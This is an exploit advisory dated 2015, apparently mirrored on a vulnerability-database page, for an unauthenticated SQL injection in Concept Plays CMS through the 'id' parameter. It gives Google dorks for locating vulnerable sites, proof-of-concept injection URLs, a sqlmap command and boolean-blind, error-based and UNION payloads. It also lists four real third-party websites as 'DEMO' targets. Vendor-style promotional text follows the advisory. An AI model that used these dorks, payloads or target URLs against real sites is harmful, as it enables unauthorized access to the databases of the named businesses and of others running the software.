=========================================================
[+] Title :- Concept Plays CMS - SQL Injection Vulnerability
[+] Date :- 11 - July - 2015
[+] Vendor Homepage :- http://www.conceptplays.com/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "Developed By Concept Plays Marketing Solution Co., Ltd."
"Developed By Concept Plays Marketing Solution Co., Ltd." +inurl:/.php?id=
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa [email protected])
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- serverfarming.com, intelligentexploit.com
[+] The official Members :- Sh0rTy420, [email protected]$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, [email protected], [email protected]
=========================================================
[+] Severity Level :- High
[+] Request Method(s) :- GET / POST
[+] Vulnerable Parameter(s) :- id
[+] Affected Area(s) :- Entire admin, database, Server
[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error
[+] SQL vulnerable File :- /home/USERNAME/domains/public_html/XXX.php
[+] POC :- http://127.0.0.1/XXX.php?id=[SQL]'
The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.
select * from tb_product where active = 1 and id = '1'' <---- sql error :D
PoC:
http://www.[WEBSITE].com/XXX.php?id=570' order by [SQL INJECTION]--+
http://www.[WEBSITE].com/XXX.php?id=570' union all select [SQL INJECTION]--+
SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/XXX.php?id=[SQL]" --dbs
++++++++++++++++++++++++++
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3613=3613 AND 'kZbe'='kZbe
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 4272 FROM(SELECT COUNT(*),CONCAT(0x71627a7071,(SELECT (ELT(4272=4272,1))),0x71766b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rVYE'='rVYE
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: id=-9052' UNION ALL SELECT NULL,CONCAT(0x71627a7071,0x6e58464c714a50574349,0x71766b7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[+] DEMO :- http://www.chingcancook.com/steps.php?id=570
http://designenergy.co.th/view_product.php?id=1
http://www.lupotops.com/product_detail.php?id=16%27
http://www.sino-thai.com/product2.php?id=18&type=5%27
# 0day.today [2018-01-03] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation